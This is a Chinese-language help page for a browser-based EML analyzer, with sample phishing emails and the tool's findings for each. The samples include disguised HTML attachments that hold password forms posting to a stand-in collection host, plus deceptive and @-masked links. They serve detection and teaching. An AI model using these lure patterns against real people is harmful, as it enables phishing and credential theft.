检查域名的 SPF(含 10 次查询上限)、DMARC、DKIM、MTA-STS 和 BIMI 记录。
EML 分析器
该工具本身是英文的;本页面将用您的语言对它进行说明。
使用 EML 分析器
功能介绍
拖入 .eml 文件或粘贴邮件源码,检查其发件人相关邮件头、Received 链、链接和附件。全部在你的浏览器中运行。
它完全在您的浏览器中运行:您输入的任何内容都不会被上传。
如何使用EML 分析器
- 获取原始邮件. 将邮件另存为 .eml,或复制其源码:Gmail 的 Show original、Outlook 的 View message source、Thunderbird 或 Apple Mail 的 View source。不读取 Outlook .msg 文件。
- 载入邮件. 将 .eml 文件拖到框中或选择该文件(最大 50 MB),或把源码粘贴到文本框中(最大 5 MB),然后按 Analyze(分析)。
- 查看 Summary. 检查结果分为危险迹象、警告、提示和已通过的检查。每一行都会注明其来源的邮件头、链接或附件。
- 查看详情. 汇总下方依次是发件人相关邮件头、与 From 域名比较的各个域名、认证结果、Received 链、每个链接和每个附件。
- 提取指标. 勾选你需要的指标类型,然后以原样或无害化形式复制,下载为 .txt 文件,或使用 Send to(发送到)。
示例
精心构造的钓鱼邮件
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…显示名称冒充 support@example.com,Reply-To 和 DKIM 位于其他域名,DMARC 为 fail,一个链接的文本显示 www.example.com,实际却指向 login.example.net,还有一个带密码表单的 invoice.pdf.html 附件。
检查内容
| 信号 | 其含义 |
|---|---|
| 带电子邮件地址的显示名称 | 当名称显示的是一个地址、而真实发件人是另一个地址时,判为危险。邮件应用通常只显示名称。 |
| 其他域名上的 Reply-To | 警告:你的回复会发往与发件人不同的组织。 |
| Authentication-Results | DMARC fail 和 SPF fail 是危险迹象;SPF softfail 和 DKIM fail 是警告。只有你自己的服务商添加的结果才算数。 |
| Return-Path 和 DKIM d= 域名 | 与 From 域名不同时会加以注明。这对群发邮件服务来说很正常,但 DMARC 要求其中之一与 From 域名对齐。 |
| Received 链 | 各跳按从旧到新的顺序列出,并附延迟。时间戳早于上一跳、延迟超过一小时,或反向 DNS 显示 “may be forged”,都会被标记。 |
| 链接文本与目标地址 | 当可见文本写的是一个域名、链接却指向另一个域名,或 @ 前的文本掩盖了真实主机时,判为危险。裸 IP、Punycode、短链接和包装链接也会被标出。 |
| 附件 | 双扩展名、会运行代码或在浏览器中打开的文件、内容与扩展名不符,以及从右到左覆盖(RLO)字符伎俩,都会被标记。每个文件都会计算 SHA-256、SHA-1 和 MD5。 |
| HTML 中的表单和脚本 | 正文或附件中带密码字段的表单是危险迹象。附件中的脚本代码会给出警告。 |
更多示例
隐藏 IP 地址的链接
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>1 个危险迹象:“1 link: text before "@" is ignored: the real host is 203.0.113.7”,以及 1 个警告:“1 link: link goes to a bare IP address”。Links 表格在其文本 Upgrade storage 旁显示经无害化处理的地址。
冒充 PDF 的 HTML 页面
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--2 个危险迹象:附件 invoice.pdf “contains a form with a password field”(包含带密码字段的表单),以及其 “content is HTML document, not .pdf”(内容是 HTML 文档而非 .pdf)。附件卡片显示 Content: HTML document 和三个哈希;Links 表格列出表单的提交目标,并注明 “form submits data to this address”。
常见问题解答
EML 分析器检查什么?
它解码邮件头和每个 MIME 部分,比较 From、Reply-To、Return-Path、DKIM d= 和 Message-ID 的域名,并读取 Authentication-Results。它还会列出 Received 各跳及其延迟、每个链接及其可见文本,以及每个附件的 SHA-256、SHA-1 和 MD5。
它能证明一封邮件是钓鱼邮件,或者是安全的吗?
不能。它展示的是事实和警示迹象,而不是结论:正规的群发邮件往往有不同的 Return-Path 或 DKIM 域名,而且 DKIM 签名只会被列出,不会进行密码学验证。不支持 Outlook .msg 文件;请先将邮件另存为 .eml。
邮件会被上传到任何地方吗?
不会。文件在你的浏览器中读取和解析,HTML 以文本形式显示,从不渲染,也不会有任何数据经过网络传输。Send to 按钮通过浏览器的会话存储(session storage)把结果传给另一个工具页面。
它采信哪一个 Authentication-Results 头?
采信由你自己的邮件系统添加的那个:根据 Received 链识别,并标注为 “added by the recipient's server”。邮件中位置更靠下的邮件头可能由发件人写入,因此页面会提示你只信任自己服务商给出的结果。
它能打开作为附件附在另一封邮件中的邮件吗?
可以。附带的邮件会连同其哈希一起列出,并有一个 “Analyze the attached message” 按钮,可在同一视图中打开它。“Back to the outer message” 可返回外层邮件。
为什么指标中缺少某些 IP 地址?
私有地址、本地地址以及收件人自己邮件系统内部的跳会被排除,因为它们并不指向发件人的服务器。收件人的电子邮件地址也从不包括在内。